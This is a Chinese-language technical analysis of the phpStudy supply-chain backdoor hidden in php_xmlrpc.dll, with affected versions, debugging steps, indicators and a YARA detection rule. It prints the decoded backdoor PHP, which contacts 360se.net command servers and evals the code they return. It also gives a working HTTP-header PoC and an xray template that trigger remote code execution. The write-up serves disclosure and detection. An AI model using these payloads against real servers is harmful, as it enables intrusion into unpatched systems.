PHP環境集成程序包phpStudy被公告疑似遭遇供應鏈攻擊,程序包自帶PHP的php_xmlrpc.dll模塊隱藏有后門。經過分析除了有反向連接木馬之外,還可以正向執行任意php代碼。
影響版本
- Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
- Phpstudy 2018 的php-5.2.17、php-5.4.45
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
分析過程
- 1、定位特征字符串位置
- 2、靜態分析傳參數據
- 3、動態調試構造傳參內容
php_xmlrpc.dll
PHPstudy 2018與2016兩個版本的里的PHP5.2與PHP5.4版本里的惡意php_xmlrpc.dll一致。
定位特征字符串位置
根據@eval()這個代碼執行函數定位到引用位置。@是PHP提供的錯誤信息屏蔽專用符號。Eval()可執行php代碼,中間%s格式符為字符串傳參。函數地址為:0x100031F0

圖1:eval特征代碼
靜態分析傳參數據
通過F5查看代碼,分析代碼流程,判斷條件是有全局變量且有HTTP_ACCEPT_ENCODING的時候進入內部語句。接下來有兩個主要判斷來做正向連接和反向連接的操作。主要有兩個部分。
第一部分,正向連接:判斷ACCEPT_ENCODING如果等於gzip,deflate,讀取ACCEPT_CHARSE的內容做base64解密,交給zend_eval_strings()函數可以執行任意惡意代碼。
構造HTTP頭,把Accept-Encoding改成Accept-Encoding: gzip,deflate可以觸發第一個部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding: gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
….
第二部分,反向連接:判斷ACCEPT_ENCODING如果等於compress,gzip,通過關鍵部分@eval(gzuncompress('%s'));可以看到拼接了一段惡意代碼,然后調用gzuncompress方法執行解密。
構造HTTP頭,把Accept-Encoding改成Accept-Encoding: compress,gzip可以觸發第二部分。
GET /index.php HTTP/1.1
Host: 192.168.221.128
…..
Accept-Encoding:compress,gzip
….

圖2:第1部分流程判斷代碼

圖3:第2部分流程判斷代碼
這一部分有兩處會執行zend_eval_strings函數代碼的位置。分別是從1000D66C到1000E5C4的代碼解密:
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);

從1000D028 到1000D66C的代碼解密:
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}

動態調試構造傳參內容
OD動態調試傳參值需要對httpd.exe進程進行附加調試,phpstudy啟用的httpd進程有兩個。一個是帶有參數的,一個是沒有帶參數的。在下斷的時候選擇沒有參數的httpd.exe下斷才能觸發后門。
根據前面IDA靜態分析得到的后門函數地址,OD附加進程后從httpd.exe調用的模塊里找到php_xmlrpc.dll模塊,在DLL空間里定位后門函數地址0x100031F0,可能還需要手動修改偏移后下斷點。使用burpsuite,構造Accept-Encoding的內容。發包后可以動態調試。建立觸發點的虛擬機快照后可以反復跟蹤調試得到最終可利用的payload。

圖4:OD動態調試Payload
PHP腳本后門分析
腳本一功能:使用fsockopen模擬GET發包
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
腳本二功能:
內置有域名表和端口表,批量遍歷然后發送數據。注釋如下:
<?php
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); // 接收數據,每次過來一條數據就要連接一次
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5); //錯誤的時候就重連一次測試。
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n"); // 模擬發送數據
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024); // 讀取文件
$info = stream_get_meta_data($handle); // 超時則退出
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表
$ps = array("20123","40125","8080","80","53"); // 端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){ //遍歷域名表
$b = false;
foreach ($ps as $p){ // 遍歷端口表
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
?>
POC
熟悉原理后可根據執行流程構造執行任意代碼的Payload:
GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Payload:printf(md5(333));
回顯特征:310dcbbf4cce62f762a2aaa148d556bd

圖5:Payload回顯驗證
漏洞驗證插件
漏洞插件采用長亭科技xray社區漏洞掃描器。雖然現今網絡上好多放出來的批量poc,我還是覺得使用長亭的插件寫poc,省了好多心力去考慮寫各種代碼,把主要精力專注到漏洞分析和寫poc上。
name: poc-yaml-phpstudy-backdoor-rce
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
follow_redirects: false
expression: |
body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
網絡特征
Accept-Encoding:gzip,deflate 少一個空格
Accept-Charset:為Base64編碼
文件特征
特征一、
%s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27
29 29 3B
特征二、
@eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B
rule PhpStudybackdoor
{
meta:
filetype=" PhpStudybackdoor "
description=" PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 =”%s;@eval(%s('%s'));”
condition:
any of ($a*)
}
受影響站點
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
http://www.smzy.com/smzy/down319529.html
https://www.jb51.net/softs/601577.html
http://www.mycodes.net/16/5051.htm
http://www.3322.cc/soft/40663.html
http://www.3h3.com/soft/131645.html
http://www.downyi.com/downinfo/117446.html
http://www.pc9.com/pc/info-4030.html
https://www.newasp.net/soft/75029.html
http://www.downxia.com/downinfo/153379.html
https://www.33lc.com/soft/21053.html
http://www.xfdown.com/soft/11170.html#xzdz
http://www.wei2008.com/news/news/201817035.html
http://www.188soft.com/soft/890860.html
http://soft.onlinedown.net/soft/92421.htm
http://www.opdown.com/soft/16803.html#download
https://www.cr173.com/soft/433065.html
參考
- PhpStudyGhost后門供應鏈攻擊事件及相關IOC
https://www.freebuf.com/column/214946.html - 2019關於phpstudy軟件后門簡單分析
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw - phpstudy后門文件分析以及檢測腳本
https://mp.weixin.qq.com/s/dIDfgFxHlqenKRUSW7Oqkw - Phpstudy官網於2016年被入侵,犯罪分子篡改軟件並植入后門
https://mp.weixin.qq.com/s/CqHrDFcubyn_y5NTfYvkQw - phpStudy隱藏后門預警
https://www.cnblogs.com/0daybug/p/11571119.html
